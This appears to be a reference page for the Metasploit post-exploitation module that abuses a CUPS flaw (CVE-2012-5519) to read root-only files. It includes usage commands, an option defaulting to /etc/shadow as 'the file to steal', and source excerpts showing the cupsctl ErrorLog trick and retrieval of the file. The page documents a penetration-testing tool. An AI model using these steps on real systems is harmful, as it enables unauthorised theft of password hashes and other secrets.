CUPS 1.6.1 Root File Read - Metasploit


This page contains detailed information about how to use the post/multi/escalate/cups_root_file_read metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: CUPS 1.6.1 Root File Read
Module: post/multi/escalate/cups_root_file_read
Source code: modules/post/multi/escalate/cups_root_file_read.rb
Disclosure date: 2012-11-20
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): Linux, OSX
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2012-5519

This module exploits a vulnerability in CUPS < 1.6.2, an open source printing system. CUPS allows members of the lpadmin group to make changes to the cupsd.conf configuration, which can specify an Error Log path. When the user visits the Error Log page in the web interface, the cupsd daemon (running with setuid root) reads the Error Log path and echoes it as plaintext. This module is known to work on Mac OS X < 10.8.4 and Ubuntu Desktop <= 12.0.4 as long as the session is in the lpadmin group. Warning: if the user has set up a custom path to the CUPS error log, this module might fail to reset that path correctly. You can specify a custom error log path with the ERROR_LOG datastore option.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/multi/escalate/cups_root_file_read

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/multi/escalate/cups_root_file_read
msf post(cups_root_file_read) > show options
    ... show and set options ...
msf post(cups_root_file_read) > set SESSION session-id
msf post(cups_root_file_read) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/multi/escalate/cups_root_file_read")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

Go back to menu.

Msfconsole Usage


Here is how the multi/escalate/cups_root_file_read post exploitation module looks in the msfconsole:

msf6 > use post/multi/escalate/cups_root_file_read

msf6 post(multi/escalate/cups_root_file_read) > show info

       Name: CUPS 1.6.1 Root File Read
     Module: post/multi/escalate/cups_root_file_read
   Platform: Linux, OSX
       Arch: 
       Rank: Normal
  Disclosed: 2012-11-20

Provided by:
  Jann Horn
  joev <[email protected]>

Compatible session types:

Basic options:
  Name       Current Setting          Required  Description
  ----       ---------------          --------  -----------
  ERROR_LOG  /var/log/cups/error_log  yes       The original path to the CUPS error log
  FILE       /etc/shadow              yes       The file to steal.
  SESSION                             yes       The session to run this module on.

Description:
  This module exploits a vulnerability in CUPS < 1.6.2, an open source 
  printing system. CUPS allows members of the lpadmin group to make 
  changes to the cupsd.conf configuration, which can specify an Error 
  Log path. When the user visits the Error Log page in the web 
  interface, the cupsd daemon (running with setuid root) reads the 
  Error Log path and echoes it as plaintext. This module is known to 
  work on Mac OS X < 10.8.4 and Ubuntu Desktop <= 12.0.4 as long as 
  the session is in the lpadmin group. Warning: if the user has set up 
  a custom path to the CUPS error log, this module might fail to reset 
  that path correctly. You can specify a custom error log path with 
  the ERROR_LOG datastore option.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2012-5519
  OSVDB (87635)
  http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=692791

Module Options


This is a complete list of options available in the multi/escalate/cups_root_file_read post exploitation module:

msf6 post(multi/escalate/cups_root_file_read) > show options

Module options (post/multi/escalate/cups_root_file_read):

   Name       Current Setting          Required  Description
   ----       ---------------          --------  -----------
   ERROR_LOG  /var/log/cups/error_log  yes       The original path to the CUPS error log
   FILE       /etc/shadow              yes       The file to steal.
   SESSION                             yes       The session to run this module on.

Advanced Options


Here is a complete list of advanced options supported by the multi/escalate/cups_root_file_read post exploitation module:

msf6 post(multi/escalate/cups_root_file_read) > show advanced

Module advanced options (post/multi/escalate/cups_root_file_read):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the multi/escalate/cups_root_file_read module can do:

msf6 post(multi/escalate/cups_root_file_read) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the multi/escalate/cups_root_file_read post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(multi/escalate/cups_root_file_read) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

ERROR_LOG


Here is a relevant code snippet related to the "ERROR_LOG" error message:

42:	      'DisclosureDate' => '2012-11-20',
43:	      'Platform'       => %w{ linux osx }
44:	    }))
45:	    register_options([
46:	      OptString.new("FILE", [true, "The file to steal.", "/etc/shadow"]),
47:	      OptString.new("ERROR_LOG",
48:	        [true, "The original path to the CUPS error log", '/var/log/cups/error_log']
49:	      )
50:	    ])
51:	  end
52:	

The original path to the CUPS error log


Here is a relevant code snippet related to the "The original path to the CUPS error log" error message:

43:	      'Platform'       => %w{ linux osx }
44:	    }))
45:	    register_options([
46:	      OptString.new("FILE", [true, "The file to steal.", "/etc/shadow"]),
47:	      OptString.new("ERROR_LOG",
48:	        [true, "The original path to the CUPS error log", '/var/log/cups/error_log']
49:	      )
50:	    ])
51:	  end
52:	
53:	  def check_exploitability

User not in lpadmin group.


Here is a relevant code snippet related to the "User not in lpadmin group." error message:

52:	
53:	  def check_exploitability
54:	    user = cmd_exec("whoami")
55:	    user_groups = cmd_exec("groups #{[user].shelljoin}").split(/\s+/)
56:	    if (user_groups & LP_GROUPS).empty?
57:	      print_error "User not in lpadmin group."
58:	      return Msf::Exploit::CheckCode::Safe
59:	    else
60:	      print_good "User in lpadmin group, continuing..."
61:	    end
62:	

cupsctl binary not found in $PATH


Here is a relevant code snippet related to the "cupsctl binary not found in $PATH" error message:

59:	    else
60:	      print_good "User in lpadmin group, continuing..."
61:	    end
62:	
63:	    if ctl_path.blank?
64:	      print_error "cupsctl binary not found in $PATH"
65:	      return Msf::Exploit::CheckCode::Safe
66:	    else
67:	      print_good "cupsctl binary found in $PATH"
68:	    end
69:	

Could not find nc executable


Here is a relevant code snippet related to the "Could not find nc executable" error message:

67:	      print_good "cupsctl binary found in $PATH"
68:	    end
69:	
70:	    nc_path = whereis("nc")
71:	    if nc_path.nil? or nc_path.blank?
72:	      print_error "Could not find nc executable"
73:	      return Msf::Exploit::CheckCode::Unknown
74:	    else
75:	      print_good "nc binary found in $PATH"
76:	    end
77:	

Could not determine CUPS version.


Here is a relevant code snippet related to the "Could not determine CUPS version." error message:

87:	    else
88:	      config_vn = cmd_exec("cups-config --version").strip # use cups-config if installed
89:	    end
90:	
91:	    if config_vn.nil?
92:	      print_error "Could not determine CUPS version."
93:	      return Msf::Exploit::CheckCode::Unknown
94:	    end
95:	
96:	    print_status "Found CUPS #{config_vn}"
97:	

Target machine not vulnerable, bailing.


Here is a relevant code snippet related to the "Target machine not vulnerable, bailing." error message:

103:	    end
104:	  end
105:	
106:	  def run
107:	    if check_exploitability == Msf::Exploit::CheckCode::Safe
108:	      print_error "Target machine not vulnerable, bailing."
109:	      return
110:	    end
111:	
112:	    defaults = cmd_exec(ctl_path)
113:	    @web_server_was_disabled = defaults =~ /^WebInterface=no$/i

<CTL_PATH> ErrorLog=<FILE>


Here is a relevant code snippet related to the "<CTL_PATH> ErrorLog=<FILE>" error message:

111:	
112:	    defaults = cmd_exec(ctl_path)
113:	    @web_server_was_disabled = defaults =~ /^WebInterface=no$/i
114:	
115:	    # first we set the error log to the path intended
116:	    cmd_exec("#{ctl_path} ErrorLog=#{datastore['FILE']}")
117:	    cmd_exec("#{ctl_path} WebInterface=yes")
118:	    @error_log_was_reset = true
119:	
120:	    # now we go grab it from the ErrorLog route
121:	    file = strip_http_headers(get_request('/admin/log/error_log'))

/admin/log/error_log


Here is a relevant code snippet related to the "/admin/log/error_log" error message:

116:	    cmd_exec("#{ctl_path} ErrorLog=#{datastore['FILE']}")
117:	    cmd_exec("#{ctl_path} WebInterface=yes")
118:	    @error_log_was_reset = true
119:	
120:	    # now we go grab it from the ErrorLog route
121:	    file = strip_http_headers(get_request('/admin/log/error_log'))
122:	
123:	    # and store as loot
124:	    f = File.basename(datastore['FILE'])
125:	    loot = store_loot('cups_file_read', 'application/octet-stream', session, file, f)
126:	    print_good("File #{datastore['FILE']} (#{file.length} bytes) saved to #{loot}")

<CTL_PATH> ErrorLog=<PREV_ERROR_LOG_PATH>


Here is a relevant code snippet related to the "<CTL_PATH> ErrorLog=<PREV_ERROR_LOG_PATH>" error message:

127:	  end
128:	
129:	  def cleanup
130:	    print_status "Cleaning up..."
131:	    cmd_exec("#{ctl_path} WebInterface=no") if web_server_was_disabled
132:	    cmd_exec("#{ctl_path} ErrorLog=#{prev_error_log_path}") if error_log_was_reset
133:	    super
134:	  end
135:	
136:	  private
137:	

ERROR_LOG


Here is a relevant code snippet related to the "ERROR_LOG" error message:

134:	  end
135:	
136:	  private
137:	
138:	  def prev_error_log_path
139:	    datastore['ERROR_LOG']
140:	  end
141:	
142:	  def ctl_path
143:	    @ctl_path ||= whereis("cupsctl")
144:	  end

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Jann Horn
  • joev

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.